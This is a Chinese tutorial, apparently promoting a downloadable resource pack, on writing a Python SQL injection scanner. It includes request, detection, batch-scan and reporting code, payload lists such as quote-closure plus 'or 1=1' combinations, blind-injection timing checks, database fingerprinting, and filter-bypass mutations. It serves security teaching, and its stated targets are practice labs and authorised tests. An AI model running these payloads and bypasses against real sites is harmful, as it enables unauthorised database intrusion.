简介:这是一套基于Python实现的自动化SQL注入检测工具源码与配套文档,面向计算机、通信、人工智能、自动化等相关专业的学生、教师及安全方向从业者,可用于毕业设计、课程大作业、期末课程设计,也适合作为Web安全入门与进阶的学习范例。资源包共12个文件,以7个py脚本为核心,辅以txt站点列表、sh执行脚本、md说明文档、rules规则文件及pyc编译文件,整体约35KB,结构紧凑、便于阅读与二次开发。工具围绕布尔注入、时间盲注等检测逻辑展开,并包含参数提取、站点获取、结果展示与邮件通知等模块,代码经过调试测试,可正常运行。已有68人学习关注,具备一定参考热度。读者可借此理解SQL注入检测的完整实现思路,掌握规则配置、请求构造与结果判定方法,并在此基础上修改调整,扩展出符合自身需求的检测功能。
1. 从一份能跑起来的 Python SQL 注入检测脚本说起
很多人第一次接触 SQL 注入,是在 DVWA 或者 sqli-labs 这类靶场里手敲' or 1=1 --,看着页面回显全部用户信息,觉得不过如此。可真到了自己写工具、或者面对一个参数多到记不住的业务系统时,手工测就完全不够用了。基于 Python 的自动化 SQL 注入检测工具,本质上就是把「构造 payload → 发请求 → 判断回显差异 → 判定是否存在注入」这条链路用代码固化下来,再配上并发、日志和报告,让它能批量跑、能复现、能交给别人看。它适合两类人:一类是刚学完 Python 基础、想找一个真实安全场景练手的入门者;另一类是做渗透测试或代码审计、需要一个轻量可改的检测脚本、而不是直接上 sqlmap 这种重型工具的从业者。这篇文章不讲空泛概念,而是从目录结构、核心检测逻辑、参数配置到踩坑排查,把一套能落地的方案讲清楚,你照着改就能跑在自己的靶场或授权环境里。
2. 工具骨架怎么搭:目录、依赖与请求层
2.1 先定目录结构,别一上来就写检测逻辑
我见过太多人写这类工具,第一版就是一个sql_scan.py从头写到尾,两百行之后自己都找不到 payload 列表在哪。正确的做法是先按职责拆目录,哪怕最后只有五个文件,结构也要清晰。常见做法是分成core(检测引擎)、payloads(payload 与绕过规则)、utils(请求、日志、编码)、config(配置)、report(结果输出)五块。这样后面加数据库指纹识别、加延时盲注,都只是往对应目录里塞文件,不会把主流程改乱。
sqlscan/ ├── main.py # 入口,解析参数、调度扫描 ├── config/ │ └── settings.py # 超时、线程数、UA、代理开关等 ├── core/ │ ├── detector.py # 核心检测逻辑 │ └── fingerprint.py # 数据库类型识别 ├── payloads/ │ └── basic.py # 基础 payload 与编码变体 ├── utils/ │ ├── requester.py # 统一请求封装 │ └── logger.py # 日志 └── report/ └── exporter.py # 输出 txt / json这个结构的好处是:requester.py是唯一发请求的地方,以后要加重试、加随机 UA、加请求间隔,只改一个文件。payloads/basic.py只放数据,不放逻辑,方便你按靶场类型替换。新手最容易犯的错是把 payload 和判断逻辑混在一起,结果想加一条新 payload 要翻半天代码。
2.2 请求层封装:三个必须暴露的参数
请求层不要直接用requests.get,要包一层。核心是把超时、重试、异常吞掉这三件事处理好,否则扫描到一半遇到一个超时链接,整个脚本就崩了。
import requests import time from requests.exceptions import RequestException class Requester: def __init__(self, timeout=8, retry=2, delay=0.0, headers=None): self.timeout = timeout # 单次请求超时,盲注场景要调大 self.retry = retry # 失败重试次数,避免网络抖动误判 self.delay = delay # 每次请求间隔,规避频率限制 self.headers = headers or {"User-Agent": "Mozilla/5.0"} def send(self, url, method="GET", params=None, data=None): for i in range(self.retry + 1): try: if self.delay: time.sleep(self.delay) resp = requests.request( method, url, params=params, data=data, headers=self.headers, timeout=self.timeout, allow_redirects=False # 重定向会干扰回显判断 ) return resp except RequestException as e: if i == self.retry: return None # 返回 None 而不是抛异常 time.sleep(0.5)逻辑说明:allow_redirects=False很关键,很多注入点触发后会 302 跳转,如果自动跟随,你拿到的就是跳转后的页面,回显差异判断会失效。timeout默认 8 秒,做时间盲注时要单独调大到 15 秒以上,否则正常响应也会被当成超时。retry设 2 次是为了区分「网络抖动」和「payload 导致服务端异常」,如果重试后仍失败,才判定为异常响应。参数上,delay默认 0,但在真实授权测试里建议设 0.2 到 0.5 秒,避免把目标打挂,这也是很多新手翻车的地方。
2.3 依赖清单与 Python 环境
依赖只有requests,报告输出用标准库json就够,不要引入一堆用不上的包。Python 版本建议 3.8 以上,3.6 虽然也能跑,但 f-string 和类型提示的体验差很多。安装命令就一行:
pip install requests如果你用的是 vscode 配置 Python 环境,记得在.vscode/settings.json里指定解释器路径,否则终端里pip install和编辑器里跑的不是同一个环境,会出现「明明装了却 import 失败」这种玄学问题。Linux 系统安装 Python 时,优先用系统包管理器装python3和python3-pip,不要手动编译,省得后面缺ssl模块。
3. 检测引擎:从回显比对到布尔盲注
3.1 基础回显检测:先建立「正常基线」
检测的第一步不是发 payload,而是先发一次原始请求,把正常响应的长度、状态码、关键内容存下来,作为基线。没有基线,后面所有差异判断都是拍脑袋。
class Detector: def __init__(self, requester): self.req = requester self.baseline = None def build_baseline(self, url, method="GET", params=None, data=None): resp = self.req.send(url, method, params, data) if resp is None: return False self.baseline = { "status": resp.status_code, "length": len(resp.text), "text": resp.text } return True def is_injected(self, resp): if resp is None: return False # 状态码变化 + 长度差异超过阈值,才算可疑 len_diff = abs(len(resp.text) - self.baseline["length"]) if resp.status_code != self.baseline["status"]: return True if len_diff > max(50, self.baseline["length"] * 0.1): return True return False逻辑说明:build_baseline必须在扫描前调用一次,且要用和后续 payload 完全相同的请求方式。is_injected里长度阈值取max(50, 基线的 10%),是因为有些页面本身有随机内容(比如时间戳、随机广告位),固定阈值会误报。参数上,如果你测的是 POST 表单,data要和正常提交一致,只替换待测参数的值。这里有个血泪经验:基线请求一定要关掉缓存,有些站点返回304或带ETag,第二次请求内容为空,长度直接对不上,会误判成注入。
3.2 payload 构造与编码变体
payload 不要只写一条' or 1=1 --,要按「闭合方式 + 注释符 + 逻辑恒真」组合。常见闭合有单引号、双引号、括号,注释符有--、#、/**/。把这些组合成列表,逐条试。
# payloads/basic.py CLOSURES = ["'", '"', "')", '")'] COMMENTS = ["-- ", "#", "/**/"] LOGIC = ["or 1=1", "or 'a'='a", "or 1=1-- -"] def build_payloads(): payloads = [] for c in CLOSURES: for cm in COMMENTS: for lg in LOGIC: payloads.append(f"{c}{lg}{cm}") return payloads逻辑说明:三层循环生成的是「闭合 + 逻辑 + 注释」的笛卡尔积,数量在 36 条左右,对单个参数来说足够覆盖基础场景。参数上,LOGIC里or 1=1-- -这种写法是为了应对注释符后面必须有空格的情况,-- -里的短横线是 MySQL 要求的。注意不要无脑堆几百条 payload,请求量太大会触发 WAF 或者把目标拖慢,基础检测 30 到 50 条足够。如果你在 sqli-labs 或 pikachu 靶场练手,这套组合能打通大部分关卡;但遇到sql注入绕过场景(比如过滤了空格和注释),就要在编码变体里加%09、%0a这类替代字符,这部分放到后面进阶章讲。
3.3 布尔盲注与时间盲注的判定差异
回显检测搞完,接下来是盲注。布尔盲注靠「真/假条件返回页面不同」判断,时间盲注靠「响应时间差异」判断。两者判定逻辑完全不同,不能混用。
import time def boolean_check(self, url, param, payload_true, payload_false): r_true = self.req.send(url, params={param: payload_true}) r_false = self.req.send(url, params={param: payload_false}) if r_true is None or r_false is None: return False # 真假页面长度差异明显,才判定存在布尔盲注 return abs(len(r_true.text) - len(r_false.text)) > 30 def time_check(self, url, param, payload, sleep=3): start = time.time() self.req.send(url, params={param: payload}) cost = time.time() - start # 响应时间超过 sleep 的 80%,判定为时间盲注 return cost > sleep * 0.8逻辑说明:布尔盲注的关键是「真条件和假条件必须成对出现」,只发一条恒真 payload 是判断不出来的。时间盲注的阈值取sleep * 0.8,是因为网络本身有延迟,如果设成严格大于sleep,稍微慢一点就漏判。参数上,sleep默认 3 秒,真实环境建议 5 秒,但要注意目标如果本身响应就慢,基线时间要先测一次,用「基线 + sleep」作为阈值更准。这里踩过的坑是:有些数据库对sleep()函数有限制,MySQL 用sleep(),SQL Server 用waitfor delay,PostgreSQL 用pg_sleep(),payload 要按数据库类型区分,不能一套打天下。
4. 参数配置与批量扫描:让工具真正能用
4.1 配置文件该放哪些参数
把参数写死在代码里,是这类工具没法复用的最大原因。配置文件至少要有:目标 URL、请求方法、待测参数名、超时、线程数、请求间隔、是否开启盲注、报告输出路径。
# config/settings.py CONFIG = { "url": "http://target/vuln.php", "method": "GET", "params": ["id", "name"], # 待测参数列表 "timeout": 8, "threads": 5, # 并发线程数,别超过 10 "delay": 0.3, # 请求间隔,防封 "enable_boolean": True, "enable_time": False, # 时间盲注慢,默认关 "report_path": "./result.json" }逻辑说明:params是列表,支持一次测多个参数,工具内部对每个参数独立跑一遍 payload。threads默认 5,是因为并发太高容易触发目标限流,而且盲注场景下并发会互相干扰时间判断。enable_time默认关,因为时间盲注每条 payload 要等好几秒,一个参数跑下来可能几分钟,只在确认有布尔盲注但回显不明显时才开。参数上,delay在授权测试里建议不低于 0.2 秒,这是对目标最基本的尊重,也是避免自己被封 IP 的后悔药。
4.2 批量扫描多个 URL 的调度方式
单 URL 跑通后,批量扫描就是把 URL 列表读进来,循环调用检测流程。但要注意,批量场景下日志和结果必须能区分是哪个 URL 出的问题。
import json from concurrent.futures import ThreadPoolExecutor def scan_one(target): detector = Detector(Requester(timeout=CONFIG["timeout"], delay=CONFIG["delay"])) if not detector.build_baseline(target["url"], target["method"], target.get("params")): return {"url": target["url"], "status": "baseline_failed"} findings = [] for param in target["params"]: for payload in build_payloads(): resp = detector.req.send(target["url"], params={param: payload}) if detector.is_injected(resp): findings.append({"param": param, "payload": payload}) break # 一个参数命中就跳过剩余 payload return {"url": target["url"], "findings": findings} def batch_scan(targets): results = [] with ThreadPoolExecutor(max_workers=CONFIG["threads"]) as pool: for r in pool.map(scan_one, targets): results.append(r) with open(CONFIG["report_path"], "w", encoding="utf-8") as f: json.dump(results, f, ensure_ascii=False, indent=2) return results逻辑说明:scan_one里一个参数命中就break,是为了减少无效请求,但代价是可能漏掉同一参数的其他注入类型,如果你要完整报告,可以把break去掉,改成记录所有命中 payload。batch_scan用线程池而不是进程池,因为瓶颈在网络 IO 不在 CPU。参数上,max_workers直接取配置里的threads,不要动态调整,否则并发数不可控。结果写 JSON 时用ensure_ascii=False,否则中文参数名会变成转义字符,报告没法看。
4.3 报告输出:给谁看决定写什么
报告不是给自己看的,是给一起做项目的人或者留档用的。最小可用报告要有:目标 URL、检测时间、命中参数、命中 payload、请求方法、判定依据(长度差异还是时间差异)。
from datetime import datetime def export_report(results, path): report = { "scan_time": datetime.now().strftime("%Y-%m-%d %H:%M:%S"), "total": len(results), "vulnerable": [r for r in results if r.get("findings")], "details": results } with open(path, "w", encoding="utf-8") as f: json.dump(report, f, ensure_ascii=False, indent=2)逻辑说明:vulnerable字段单独抽出来,是为了让人一眼看到哪些目标有问题,不用翻整个details。参数上,时间格式用%Y-%m-%d %H:%M:%S,别用时间戳,否则报告给人看还要转换。如果你的项目需求说明文档模板要求附检测记录,这份 JSON 可以直接转成表格贴进去。
5. 避坑与排查:那些让脚本「看起来能跑其实没用」的问题
5.1 基线请求带了 Cookie,payload 请求没带
现象:基线正常,一发包就返回登录页,长度差异巨大,误判成注入。 原因:请求层没有统一携带 Cookie 或 Session,基线用了浏览器抓的包,脚本里没同步。 解决:在Requester初始化时传入headers,把Cookie一并带上;或者用requests.Session()保持会话,登录后的目标必须先登录再扫描。
5.2 长度阈值设太死,随机页面疯狂误报
现象:每个参数都报注入,报告里一堆命中,人工一看全是误报。 原因:页面本身有随机内容(时间、广告、CSRF token),长度每次都不一样,固定阈值判断失效。 解决:基线请求发三次,取长度的平均值和波动范围,阈值改成「基线波动范围 + 固定余量」;或者改用「关键内容是否出现/消失」判断,而不是纯长度。
5.3 时间盲注被网络延迟带偏
现象:明明没有时间盲注,脚本却报存在,或者明明有却报不存在。 原因:网络抖动导致响应时间不稳定,单次测量不可靠。 解决:时间盲注每条 payload 测三次取中位数,并且先测一次基线响应时间,用「基线 + sleep」作为阈值;同时把timeout调大到sleep + 5秒,避免请求被提前掐断。
5.4 并发扫描把目标打挂或触发封禁
现象:扫到一半全部请求失败,或者 IP 被临时封。 原因:线程数太高、没有请求间隔,触发了目标限流或 WAF。 解决:threads降到 3 到 5,delay设 0.3 秒以上;如果目标有 WAF,还要加随机 UA 和随机请求头,但注意这属于绕过范畴,只在授权环境里做。
5.5 payload 编码没处理,特殊字符被截断
现象:payload 里带#或空格,发出去后服务端收到的参数不完整。 原因:URL 编码没做,#被当成锚点,空格被截断。 解决:用requests的params传参,它会自动编码;如果手动拼 URL,必须用urllib.parse.quote处理。注意--后面的空格在 URL 里要编码成%20或+,否则注释符失效。
6. 进阶技巧:把检测从「能跑」推到「测得准」
基础版跑通后,真正拉开差距的是两件事:数据库指纹识别和绕过规则。指纹识别决定了你用哪套 payload,绕过规则决定了你能不能打到有过滤的目标。指纹识别最简单的做法是利用报错信息,比如 MySQL 报You have an error in your SQL syntax,SQL Server 报Unclosed quotation mark,PostgreSQL 报unterminated quoted string。发一条带单引号的 payload,抓报错关键字就能判断。
FINGERPRINTS = { "mysql": ["you have an error in your sql syntax", "mysql_fetch"], "mssql": ["unclosed quotation mark", "microsoft ole db"], "postgresql": ["unterminated quoted string", "pg_query"], "oracle": ["ora-01756", "quoted string not properly terminated"] } def detect_db(resp_text): low = resp_text.lower() for db, keys in FINGERPRINTS.items(): if any(k in low for k in keys): return db return "unknown"逻辑说明:报错关键字用小写匹配,避免大小写差异漏判。参数上,FINGERPRINTS可以按你实际遇到的报错补充,但不要加太泛的词(比如只写error),否则会误判。识别出数据库后,时间盲注的 payload 就能自动切换成对应函数,布尔盲注的真假条件也能按数据库语法调整。
绕过规则这块,核心是处理空格、注释、关键字过滤。空格可以用/**/、%09、%0a替代;关键字过滤可以用大小写混写(SeLeCt)、内联注释(/*!select*/)、双写(selselectect)。这些规则不要全量堆进 payload 列表,而是做成一个「变形函数」,对基础 payload 逐条变形,命中一条就停。
def mutate(payload): variants = [payload] variants.append(payload.replace(" ", "/**/")) variants.append(payload.replace(" ", "%09")) variants.append("".join(c.upper() if i % 2 else c.lower() for i, c in enumerate(payload))) return variants逻辑说明:mutate返回的是同一条 payload 的多个变体,扫描时对每个变体都试一次。参数上,大小写混写只对关键字有效,对引号和数字没影响,所以不会破坏 payload 结构。注意变形后 payload 数量会翻几倍,请求量要控制,建议只在基础 payload 全部失败后才启用变形,而不是一开始就全量跑。
最后说一个我自己的习惯:每次改完检测逻辑,先拿 DVWA 的 low 级别跑一遍,确认能命中;再切到 medium 级别,确认绕过规则生效;最后拿一个正常业务页面跑一遍,确认不误报。这三步跑完,工具才算「确保可用」,而不是「在我机器上能跑」。这套方案值不值得做,取决于你是不是需要一个能改、能看懂、能嵌进自己流程的检测脚本——如果只是临时测一个点,sqlmap 更快;但如果你要理解注入检测的每一步,或者要把检测能力集成到自己的审计流程里,自己写一遍是最扎实的路。希望帮到你。
本文还有配套的精品资源,点击获取